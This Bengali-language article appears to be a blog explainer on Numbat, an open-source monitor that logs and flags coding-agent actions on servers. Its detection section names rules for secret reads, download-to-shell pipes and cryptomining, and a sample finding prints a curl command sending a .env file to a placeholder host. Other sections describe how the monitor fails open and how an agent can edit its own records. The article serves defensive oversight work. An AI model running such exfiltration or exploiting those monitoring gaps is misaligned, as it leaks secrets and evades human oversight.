Numbat: AI agent আপনার সার্ভারে কী করছে দেখুন
Perplexity-এর open source Numbat AI coding agent-এর hook ও session file থেকে event record করে। এটি কী দেখতে পারে এবং কেন কাজ থামাতে পারে না, জানুন।
Numbat কী
Numbat আপনার মালিকানাধীন কোনো মেশিনে AI agent কী করেছে, সে সম্পর্কে দৃশ্যমানতা দেয়। এটি coding agent-গুলোর তৈরি করা hook callback ও session file পড়ে, সেগুলোকে একটি অভিন্ন event format-এ স্বাভাবিকীকরণ করে এবং এমন rule-এর সঙ্গে মিলিয়ে দেখে, যেগুলো SSH private key পড়া বা কোনো download সরাসরি shell-এ pipe করার মতো আচরণ শনাক্ত হলে সক্রিয় হয়। Perplexity এটিকে Apache 2.0 লাইসেন্সের অধীনে open source হিসেবে প্রকাশ করেছে। প্রথম tagged release প্রকাশিত হয় 29 July 2026-এ।
নিচের সব তথ্য প্রকল্পটির repository এবং নিজস্ব documentation থেকে নেওয়া, যা 2 August 2026-এ পড়া হয়েছে। Perplexity কোনো দাবি করলে এই লেখায় তা Perplexity-এর দাবি হিসেবেই উল্লেখ করা হয়েছে। এটি install tutorial নয়, কারণ repository-টি মাত্র কয়েক দিন পুরোনো এবং এর command পরিবর্তিত হবে।
সমস্যা: agent কী করেছে, তার কোনো লিখিত রেকর্ড থাকে না
আপনার VPS-এ চলা coding agent shell command চালায়, file পড়ে, file লেখে এবং network connection খোলে—সবই আপনি যে user-এর অধীনে তাকে চালিয়েছেন, সেই user হিসেবে। আপনার shell history এসব কাজ record করে না, কারণ agent আপনার shell-এ command টাইপ করে না। sshd শুধু আপনার login record করে; এরপর model কী সিদ্ধান্ত নিয়ে কী করেছে, তা record করে না। /var/log/auth.log নীরব থাকে, যতক্ষণ না কেউ sudo ব্যবহার করার চেষ্টা করে। agent নিজের transcript সংরক্ষণ করে, কিন্তু সেই file agent-এর session directory-তে থাকে, release বদলালে file-এর format বদলে যায়, এবং agent-এর নিজের process সেই file-এ লিখতে পারে।
তাই কেউ যদি জিজ্ঞেস করে agent গত মঙ্গলবার .env.production পড়েছিল কি না, অধিকাংশ server-এ সৎ উত্তর হলো: আপনি তা জানতে পারবেন না। এই ঘাটতিই এই project তৈরির কারণ।
Perplexity অনুযায়ী Numbat কী করে
README-তে টুলটিকে শুরুতেই এভাবে বর্ণনা করা হয়েছে: “AI agent-এর কার্যকলাপের endpoint visibility, local detection, optional pre-action blocking এবং forensic reconstruction।” এখানে endpoint বলতে agent যে machine-এ চলে সেটিকে বোঝানো হয়েছে; বাইরে থেকে পর্যবেক্ষণকারী কোনো network appliance-কে নয়। এগুলো পৃথক capability এবং প্রতিটির গুরুত্বও আলাদা।
Detection device-এই চলে। Rule-গুলো CEL (common expression language)-এ লেখা হয় এবং locally evaluate করা হয়। এর ওপর multi-step sequence rule এবং YAML-এ নিজের rule লেখার support আছে। কোনো rule trigger হওয়ার জন্য machine-এর বাইরে কিছু পাঠাতে হয় না।
Blocking optional এবং সীমিত। এটি শুধু synchronous pre-action hook-এর মাধ্যমে কাজ করে, এবং কেবল সেই agent-গুলোর ক্ষেত্রে প্রযোজ্য যেগুলো এমন hook expose করে। আপনি সক্রিয় না করা পর্যন্ত এটি বন্ধ থাকে।
Reconstruction পরে ঘটে। numbat scan agent আগে disk-এ লিখে রাখা session artifact parse করে। তাই কিছু install করার আগের activity-ও পরীক্ষা করা যায়। Project-টি এই দাবির সীমা স্পষ্টভাবে উল্লেখ করেছে: “At-rest reconstruction disk বা memory acquisition নয় এবং agent যে activity persist করেনি তা recover করতে পারে না।”
Output versioned NDJSON (newline delimited JSON)। এতে event, finding, enforcement decision, indicator এবং scan summary থাকে। v0.1.2 অনুযায়ী schema version হলো 0.2.0। Record stdout অথবা local file-এ লেখা হয়। চাইলে আপনার পরিচালিত collector-এ HTTP-এর মাধ্যমেও পাঠানো যায়। এটি cgo ছাড়া build করা একটি static Go binary হিসেবে সরবরাহ করা হয়। macOS, Linux এবং Windows-এর amd64 ও arm64 architecture support করে। তাই Linux VPS-এ এটি একটি single file; আগে কোনো runtime install করতে হয় না।
Numbat বাস্তবে কোন agent দেখতে পারে?
docs/agent-coverage.md-এর coverage matrix-ই অনুমোদিত তালিকা। তবে এর কভারেজ সমান নয়। প্রকল্পটি বিষয়টি স্পষ্টভাবে জানায় এবং আড়াল করে না। Claude Code, Codex, Gemini CLI, Cursor এবং GitHub Copilot CLI-এর জন্য artifact scanning এবং pre-action hook-সহ live capture—দুটিই রয়েছে। OpenClaw-এর জন্য version 2026.7.1 থেকে native plugin রয়েছে। তালিকার অনেক entry-কে deferred হিসেবে চিহ্নিত করা হয়েছে। এর অর্থ live hook path আছে, কিন্তু artifact parser নেই। এর কারণ প্রায়ই হলো agent তার history SQLite-এ write-ahead log-সহ সংরক্ষণ করে, যা agent চলার সময় নিরাপদে পড়া যায় না। 2 August 2026-এ matrix পড়ার সময় OpenCode এবং Cline এই দলে ছিল।
এই tool-কে কেন্দ্র করে কোনো পরিকল্পনা করার আগে আপনার agent-এর row পরীক্ষা করুন। কারণ প্রায় প্রতিটি লাইনে “supported” শব্দটির অর্থ আলাদা।
একটি detection কেমন দেখায়
Rules-এর id থাকে, যা rule-টি কী উদ্দেশ্যে ব্যবহৃত হয় তা জানায়। secrets.read_private_key একটি SSH key, AWS credentials, kube config অথবা package registry login কভার করে। exec.download_pipe_shell তখন trigger হয়, যখন curl অথবা wget-এর output কোনো interpreter-এ pipe করা হয়। privilege.elevated_shell sudo, doas, su অথবা pkexec ব্যবহার করে interactive root shell চাওয়ার ঘটনা শনাক্ত করে। impact.cryptomining_launch পরিচিত miner binary এবং image name-এর সঙ্গে মিলে যায়।
Sequence rules একটি session-এর ভেতরের একাধিক event একসঙ্গে বিবেচনা করে। chain.secret_read_then_egress-এর ক্ষেত্রে প্রথমে একটি secret file পড়তে হবে, এরপর এমন একটি command চালাতে হবে যা data বাইরে পাঠায়। README-তে নিচের finding-টি একটি নিয়ন্ত্রিত replay থেকে প্রকাশ করা হয়েছে। এটি live incident থেকে নেওয়া নয়। Replay-টিতে দুটি Claude Code pre-action callback ছিল। এখানে শুধু প্রয়োজনীয় field-গুলো রাখা হয়েছে:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Record-এর ভেতরে থাকা "confidence": "medium" লক্ষ্য করুন। পুরো ধরনের output সম্পর্কে project-টি যা বলেছে, সেটিও লক্ষ্য করুন: "Findings are rule matches, not proof of compromise." একটি deploy script যদি একটি key পড়ে এবং এরপর build artifact upload করে, তাহলে একই sequence rule-এর সঙ্গে match করবে। Match-টি সঠিক, কিন্তু alarm-টি ভুল। আপনি যে detection tool-ই চালান না কেন, সাধারণত এটাই তার স্বাভাবিক অবস্থা।
ডিফল্টভাবে blocking বন্ধ থাকে এবং ব্যর্থ হলে fail-open হয়
Numbat-এর প্রতিটি shipped rule শুধু monitoring করে। কোনো rule-কে block করতে হলে ইচ্ছাকৃতভাবে কাজটি করতে হয়: rule-এর সম্পূর্ণ YAML নিজের directory-তে কপি করুন, একই id রাখুন, enforce: true যোগ করুন, version বাড়ান, তারপর policy validate ও install করুন।
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceএখন নির্ধারণ করুন, এই ব্যবস্থাটিকে কতটা বিশ্বাস করা উচিত। Numbat-এর deny agent-এর কাছে ফেরত পাঠানো একটি response, আর tool call প্রকৃতপক্ষে প্রত্যাখ্যান করে agent। Numbat নিজেই সমস্যায় পড়লে কী হয়, enforcement guide তা স্পষ্টভাবে বলে: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input-এর সীমা 4 MiB; সীমা ছাড়ানো input-ও একই পথে যায়।
যে deny কার্যকরভাবে পৌঁছায়, তার সীমাবদ্ধতাও guide-এ স্পষ্টভাবে বলা আছে: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."
তাই এখানে enforcement একটি guardrail, boundary নয়। Process crash করলে Numbat action block করে না। কারণ প্রতিবার সমস্যা হলে যে monitor agent-কে আটকে দেয়, সেটি এক সপ্তাহের মধ্যেই uninstall করা হবে। এই trade-off যুক্তিসঙ্গত। তবে deny সব সময় পৌঁছাবে ধরে নিয়ে security model তৈরি করবেন না।
আপনার বর্তমান ব্যবস্থার পাশে Numbat-এর অবস্থান
Numbat endpoint-এ, agent-এর নিজস্ব process tree-এর ভেতরে চলে এবং ডিফল্টভাবে ~/.numbat/records.ndjson-এ লেখে। আপনার user হিসেবে চলা agent সেই file পড়তে পারে। সেটি file-টি সম্পাদনাও করতে পারে। Audit trail-এর কার্যকারিতা তার চারপাশের isolation-এর সমান। তাই আপনার বিদ্যমান প্রতিটি control এই control-এর সামনে প্রয়োগ হয়, পেছনে নয়।
Coding agent-এর জন্য disposable VM দেওয়া একটি খারাপ run কোথায় পৌঁছাতে পারবে, তা সীমাবদ্ধ করে। VPS-এ least privilege user ব্যবহার করা agent-কে এমন file থেকে দূরে রাখে, যা খোলার কোনো প্রয়োজন তার নেই। Agent-এর context থেকে credential দূরে রাখা-র ফলে secrets.read_private_key ঘটলে সেটি এতটাই বিরল হয় যে ঘটার সময় log পড়া সার্থক হয়। আর VPS-এ Claude Code-এর জন্য যে sandbox সেট করেছেন সেটিই containment কার্যকর করে। Containment একটি খারাপ run কী স্পর্শ করতে পারবে, তা সীমাবদ্ধ করে। অন্যদিকে কোডটি কেন এভাবে লেখা হয়েছে তা লিখে রাখা agent কত ঘন ঘন এমন অপ্রত্যাশিত কাজ করবে, যার কারণে আপনাকে log দেখতে হবে, তা কমায়।
Numbat যে জিনিসটি যোগ করে, তা হলো record। তাই record এমন জায়গায় পাঠান, যেখানে agent পৌঁছাতে পারে না। numbat ship এবং HTTP sink এই কাজের জন্য রয়েছে। দ্বিতীয় একটি machine-এ stream-এর একটি copy রাখা log file এবং evidence-এর মধ্যে পার্থক্য তৈরি করে। Event model-এ MCP (model context protocol) field-ও থাকে। তাই VPS-এ আপনার host করা MCP server দিয়ে বেরিয়ে যাওয়া tool call-গুলো local shell command-এর সঙ্গে একই stream-এ আসে। এটি গুরুত্বপূর্ণ, কারণ শুধু bash পর্যবেক্ষণ করা কোনো ব্যবস্থা এই পথ দেখতে পায় না। একই blind spot প্রযোজ্য agent-এর search backend হিসেবে যুক্ত করা SearXNG instance-এর ক্ষেত্রেও। সেখানে ঝুঁকি আসে model-এর context-এ ঢুকে পড়া অবিশ্বস্ত page text হিসেবে, এমন command হিসেবে নয়, যার সঙ্গে কোনো rule মেলানো যায়।
প্রথমে read-only পদ্ধতিতে পরীক্ষা করুন
একটি নির্দিষ্ট version ইনস্টল করুন। go install-এর জন্য Go 1.26.5 বা পরবর্তী version প্রয়োজন। আপনি source থেকে build করতে না চাইলে releases page-এ SHA-256 checksum-সহ prebuilt binary পাওয়া যায়।
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents সিস্টেমে ইনস্টল করা agent শনাক্ত করে। numbat scan ডিস্কে থাকা session artifact বিশ্লেষণ করে record প্রদর্শন করে। README-তে বলা আছে, এই command-গুলো “hook ইনস্টল করে না বা agent configuration পরিবর্তন করে না”। আরও বলা আছে, numbat “artifact-এ পাওয়া agent বা command কখনও execute করে না এবং কেবল configured HTTP sink-এ outbound request পাঠায়”। Scanning read-only এবং secret redaction-সহ সম্পন্ন হয়। স্বাভাবিক record output-এ কখনও সম্পূর্ণ raw transcript থাকে না।
এর পরের ধাপ হলো live capture। এতে agent configuration পরিবর্তিত হয়:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all event, finding, indicator এবং প্রযোজ্য enforcement decision ~/.numbat/records.ndjson-এ লেখে। Project-এর নথিতে দুটি সতর্কতা সরাসরি উল্লেখ করা হয়েছে। Hook চালানোর আগে agent-এর ভেতরে সেগুলোকে trusted হিসেবে অনুমোদন করতে হতে পারে। --enforce-এর মতো flag পরিবর্তন করার পর সেই trust আবার পর্যালোচনা করতে হবে। এছাড়া hook status “শুধু configuration যাচাই করে, execution বা delivery নয়”। তাই healthy status line দেখা গেলেই record কোথাও পৌঁছাচ্ছে—এমন নিশ্চয়তা পাওয়া যায় না।
এত নতুন একটি repository কেন dependency নয়
Public release হিসেবে 29 July 2026-এ v0.1.1 এবং 1 August 2026-এ v0.1.2 প্রকাশিত হয়েছে। এই পোস্ট লেখার সময়, 2 August 2026-এ repository-টির 597টি star ছিল। এত দ্রুত star বাড়া Perplexity-এর audience-এর প্রতিফলন; code কতটা স্থিতিশীল, তার নয়। একটি star দেওয়ার অর্থ হলো কেউ পরে দেখার জন্য page-টি save করেছে।
Version number-টি প্রকল্পটির বর্তমান অবস্থান সম্পর্কে পরিষ্কার ধারণা দেয়। v0.1.2-এর release note-এ মূলত credential redaction fix এবং case bundle ও telemetry normalisation-এর কাজ রয়েছে। অন্য program-এর transcript নিরাপদে পড়া যে tool-এর কাজ, তার প্রাথমিক পর্যায়ের defect সাধারণত redaction bug হিসেবেই দেখা যায়। এ ধরনের bug আরও থাকবে, কারণ input আসে এক ডজন agent থেকে, এবং প্রতিটি agent নিজস্ব সময়সূচি অনুযায়ী format পরিবর্তন করে।
এ থেকে দুটি ব্যবহারিক নিয়ম অনুসরণ করা যায়। আপনি যা সংরক্ষণ করবেন, তাতে @latest নয়, tag pin করুন। এবং অন্তত record schema-এর পরিবর্তন বন্ধ না হওয়া পর্যন্ত এটিকে এমন একটি instrument হিসেবে বিবেচনা করুন যা আপনি মূল্যায়ন করছেন, এমন কোনো control হিসেবে নয় যার ওপর আপনি নির্ভর করছেন।
FAQ
Numbat কি বিপজ্জনক AI agent command ব্লক করে?
শুধু আপনি এটি সক্রিয় করলে, এবং তাও best effort ভিত্তিতে। Numbat-এর সঙ্গে সরবরাহ করা প্রতিটি rule শুধু monitor করে। ব্লক করতে হলে rule-এর YAML আপনার নিজস্ব directory-তে copy করুন, এর id অপরিবর্তিত রাখুন, enforce: true যোগ করুন, version বাড়ান এবং --enforce দিয়ে hook install করুন। এরপরও deny একটি response হিসেবে agent-এর কাছে ফেরত যায়, এবং call প্রত্যাখ্যান করার কাজটি agent-ই করে। প্রকল্পের নথিতে fail-open আচরণ উল্লেখ আছে: malformed payload, evaluation error, panic এবং output failure হলে deny suppress হয়। এটিকে guardrail হিসেবে ব্যবহার করুন, একমাত্র security boundary হিসেবে নয়।
Numbat কোন AI agent সমর্থন করে?
প্রতিটি agent-এর coverage আলাদা এবং repository-র docs/agent-coverage.md-এ তালিকাভুক্ত। 2 August 2026 তারিখে ওই পৃষ্ঠা পড়ার সময় Claude Code, Codex, Gemini CLI, Cursor এবং GitHub Copilot CLI—সবগুলোর artifact scanning ও live capture দুটিই ছিল। OpenClaw-এর জন্য version 2026.7.1 থেকে native plugin রয়েছে। আরও অনেক agent-এর জন্য live hook path তালিকাভুক্ত আছে, কিন্তু এখনও artifact parser নেই। সাধারণত কারণ হলো, তাদের session history এমন একটি SQLite database-এ থাকে যা agent চলার সময় নিরাপদে পড়া যায় না। আপনার agent-এর row পড়ুন, কারণ সেখানে "supported" শব্দটি একাধিক পৃথক স্তর বোঝায়।
Agent কি Numbat-এর record পরিবর্তন করতে পারে?
হ্যাঁ, যদি এটি একই user হিসেবে চলে। ডিফল্টভাবে record agent-এর একই machine-এর ~/.numbat/records.ndjson-এ থাকে। তাই ওই path-এ write access থাকা যেকোনো কিছু record পরিবর্তন বা মুছে ফেলতে পারে। numbat ship অথবা HTTP sink ব্যবহার করে stream এমন একটি collector-এ পাঠান যেটিতে agent-এর access নেই, এবং local file-টি convenience copy হিসেবে রাখুন। এ কারণেই এই tool isolation-এর পরিপূরক, isolation-এর বিকল্প নয়। Least privilege user-এর অধীনে disposable VM-এ সীমাবদ্ধ একটি agent নিজের audit trail-এ অনেক কম access পায়।
Numbat কি production server-এর জন্য প্রস্তুত?
যে control-এর ওপর আপনি নির্ভর করবেন, হিসেবে নয়। প্রথম public release ছিল v0.1.1, 29 July 2026-এ। এরপর 1 August 2026-এ v0.1.2 প্রকাশিত হয়। তাই flag এবং record schema দুটিই এখনও পরিবর্তিত হচ্ছে। কোনো server-এ numbat agents এবং numbat scan চালানো read-only এবং low risk। এর মাধ্যমে আপনার agent-গুলো disk-এ কী রেখে যাচ্ছে তা জানতে পারবেন। গুরুত্বপূর্ণ server-এ enforcement hook install করা ভিন্ন সিদ্ধান্ত। এর জন্য pinned tag এবং hook ভুল আচরণ করলে কী হবে তার একটি পরিকল্পনা থাকা দরকার।